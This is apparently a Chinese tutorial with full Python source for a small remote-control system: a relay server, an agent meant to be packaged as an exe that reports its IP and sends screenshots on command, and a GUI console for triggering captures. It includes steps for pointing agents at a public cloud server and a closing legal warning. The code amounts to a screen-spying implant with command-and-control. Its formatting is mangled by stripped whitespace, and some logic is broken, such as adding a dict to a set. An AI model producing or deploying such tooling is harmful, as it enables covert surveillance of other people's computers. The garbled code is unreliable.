1. server.py 极简中转服务器
import asyncioimport jsonTOKEN = "demo123456"PORT = 8899# 存储agent: {agent_id: {"reader":..., "writer":..., "ip":str}}agents = dict()# 存储监控控制器连接controllers = set()agent_id_counter = 0defjson_dumps(msg):return json.dumps(msg, ensure_ascii=False) + "\n"asyncdefhandle_client(reader: asyncio.StreamReader, writer: asyncio.StreamWriter):global agent_id_counter peername = writer.get_extra_info("peername") client_ip = f"{peername[0]}:{peername[1]}" agent_id = None is_controller = Falsetry: buffer = ""whileTrue: data = await reader.read(4096)ifnot data:break buffer += data.decode("utf‑8", errors="ignore")while"\n"in buffer: line, buffer = buffer.split("\n", 1) line = line.strip()ifnot line:continue msg = json.loads(line) token = msg.get("token")if token != TOKEN:continue msg_type = msg.get("type")# agent注册上线if msg_type == "agent_register": agent_id_counter +=1 agent_id = f"agent_{agent_id_counter}" agents[agent_id] = {"reader":reader, "writer":writer, "ip":client_ip} print(f"[SERVER] Agent上线 {agent_id} ip={client_ip}") writer.write(json_dumps({"type":"register_ok","agent_id":agent_id}).encode())await writer.drain()# 通知所有监控端：有新agent上线for c in list(controllers):try: c["writer"].write(json_dumps({"type":"agent_list","agents":[{"aid":k,"ip":v["ip"]} for k,v in agents.items()] }).encode())await c["writer"].drain()except:pass# 监控端登录elif msg_type == "controller_login": is_controller = True controllers.add({"reader":reader,"writer":writer}) print(f"[SERVER]监控端登录 {client_ip}") writer.write(json_dumps({"type":"agent_list","agents":[{"aid":k,"ip":v["ip"]} for k,v in agents.items()] }).encode())await writer.drain()# 监控下发指令，转发给agentelif msg_type == "cmd_to_agent": target_aid = msg.get("target_aid") payload = msg.get("payload")if target_aid in agents: aw = agents[target_aid]["writer"] aw.write(json_dumps({"type":"agent_cmd","payload":payload}).encode())await aw.drain()# agent返回结果，转发给全部监控端elif msg_type == "agent_response":for c in list(controllers):try: c["writer"].write(json_dumps(msg).encode())await c["writer"].drain()except:passexcept Exception as e: print(f"[SERVER] exception {e}")finally: print(f"[SERVER]断开 {client_ip} agent_id={agent_id} is_ctrl={is_controller}")if agent_id and agent_id in agents:del agents[agent_id]# 更新所有监控端列表for c in list(controllers):try: c["writer"].write(json_dumps({"type":"agent_list","agents":[{"aid":k,"ip":v["ip"]} for k,v in agents.items()] }).encode())await c["writer"].drain()except:passif is_controller: remove_set = []for item in controllers:if item["writer"] == writer: remove_set.append(item)for i in remove_set: controllers.discard(i) writer.close()await writer.wait_closed()asyncdefmain(): server = await asyncio.start_server(handle_client, "0.0.0.0", PORT) print(f"中转服务器启动 0.0.0.0:{PORT} token={TOKEN}")asyncwith server:await server.serve_forever()if __name__ == "__main__": asyncio.run(main())
2. agent.py 极简被控客户端（上报IP + 截图）
打包exe: pyinstaller -F agent.py，调试不要加 -w，看控制台日志
import asyncioimport jsonimport base64from PIL import ImageGrabTOKEN = "demo123456"SERVER_HOST = "127.0.0.1"SERVER_PORT = 8899defjson_dumps(msg):return json.dumps(msg, ensure_ascii=False) + "\n"asyncdefagent_loop():whileTrue:try: reader, writer = await asyncio.open_connection(SERVER_HOST, SERVER_PORT) print("[AGENT]已连接中转服务器，注册...") writer.write(json_dumps({"type":"agent_register","token":TOKEN}).encode())await writer.drain() buffer = ""whileTrue: data = await reader.read(8192)ifnot data:break buffer += data.decode("utf‑8", errors="ignore")while"\n"in buffer: line, buffer = buffer.split("\n",1) line = line.strip()ifnot line:continue msg = json.loads(line)if msg.get("type") == "register_ok": aid = msg["agent_id"] print(f"[AGENT]注册成功 agent_id={aid}")elif msg.get("type") == "agent_cmd": payload = msg["payload"] cmd = payload.get("cmd") resp_msg = {"type":"agent_response","agent_id":aid}if cmd == "screenshot": print("[AGENT]执行截图") img = ImageGrab.grab()import io buf = io.BytesIO() img.save(buf, format="JPEG", quality=60) b64_data = base64.b64encode(buf.getvalue()).decode("utf‑8") resp_msg["payload"] = {"screenshot_b64":b64_data} writer.write(json_dumps(resp_msg).encode())await writer.drain()except Exception as e: print(f"[AGENT]连接异常 {e}, 3s后重连")await asyncio.sleep(3)if __name__ == "__main__": asyncio.run(agent_loop())
3. controller_gui.py 监控端GUI（tkinter，展示上线IP列表、触发截图）
import tkinter as tkfrom tkinter import ttkimport asyncioimport jsonimport base64from PIL import Image, ImageTkimport ioTOKEN = "demo123456"SERVER_HOST = "127.0.0.1"SERVER_PORT = 8899defjson_dumps(msg):return json.dumps(msg, ensure_ascii=False) + "\n"classControllerGui:def__init__(self, root, loop:asyncio.AbstractEventLoop): self.root = root self.loop = loop self.root.title("监控端GUI Demo") self.root.geometry("900x650") self.reader = None self.writer = None self.agent_list = [] self.selected_aid = None# 左侧agent列表 frame_left = ttk.Frame(root) frame_left.pack(side=tk.LEFT, fill=tk.BOTH) ttk.Label(frame_left, text="在线Agent列表").pack() self.lb = tk.Listbox(frame_left, width=30) self.lb.pack(fill=tk.BOTH, expand=True) self.lb.bind("<<ListboxSelect>>", self.on_select_agent) ttk.Button(frame_left, text="截图选中主机", command=self.on_screenshot).pack(pady=4)# 右侧图片显示 frame_right = ttk.Frame(root) frame_right.pack(side=tk.RIGHT, fill=tk.BOTH, expand=True) ttk.Label(frame_right, text="屏幕截图预览").pack() self.img_label = ttk.Label(frame_right, text="无截图") self.img_label.pack(fill=tk.BOTH, expand=True) self.root.after(100, self.connect_server)asyncdeftcp_task(self):try: self.reader, self.writer = await asyncio.open_connection(SERVER_HOST, SERVER_PORT) self.writer.write(json_dumps({"type":"controller_login","token":TOKEN}).encode())await self.writer.drain() buffer = ""whileTrue: data = await self.reader.read(8192)ifnot data:break buffer += data.decode("utf‑8","ignore")while"\n"in buffer: line, buffer = buffer.split("\n",1) line = line.strip()ifnot line:continue msg = json.loads(line)if msg["type"] == "agent_list": self.agent_list = msg["agents"] self.root.after(0, self.refresh_agent_ui)elif msg["type"] == "agent_response": payload = msg["payload"] b64 = payload.get("screenshot_b64")if b64: self.root.after(0,lambda b=b64:self.show_screenshot(b))except Exception as e: print(f"[CTRL] tcp error {e}")defconnect_server(self): asyncio.create_task(self.tcp_task())defrefresh_agent_ui(self): self.lb.delete(0, tk.END)for item in self.agent_list: self.lb.insert(tk.END, f"{item['aid']} | {item['ip']}")defon_select_agent(self, event): idx = self.lb.curselection()ifnot idx: self.selected_aid = Nonereturn line_text = self.lb.get(idx[0]) aid = line_text.split("|")[0].strip() self.selected_aid = aiddefon_screenshot(self):ifnot self.selected_aid ornot self.writer:return msg = {"type":"cmd_to_agent","target_aid":self.selected_aid,"payload":{"cmd":"screenshot"} } self.writer.write(json_dumps(msg).encode()) asyncio.create_task(self.writer.drain())defshow_screenshot(self, b64_str): raw = base64.b64decode(b64_str) bio = io.BytesIO(raw) pil_img = Image.open(bio) pil_img.thumbnail((600,500)) tk_img = ImageTk.PhotoImage(pil_img) self.img_label.configure(image=tk_img) self.img_label.image = tk_imgdeftk_main(): root = tk.Tk() loop = asyncio.get_event_loop() app = ControllerGui(root, loop)defrun_tk():try: root.update()except tk.TclError:return root.after(20, run_tk) run_tk() loop.run_forever()if __name__ == "__main__": tk_main()
运行测试步骤（本机测试）
pip install pillow
python server.py
- 新开终端，启动被控agent（可多开，模拟多台机器上线）
python agent.py
python controller_gui.py
- 在GUI左侧看到agent上线；选中，点【截图选中主机】，右侧显示被控端屏幕截图。
部署到云服务器修改点
- 修改
agent.py和controller_gui.py中的SERVER_HOST为你的云服务器公网IP。
当前Demo局限（后续需要完善）
⚠️再次提醒：仅用于自己设备学习实验，未经许可部署他人设备触犯法律。
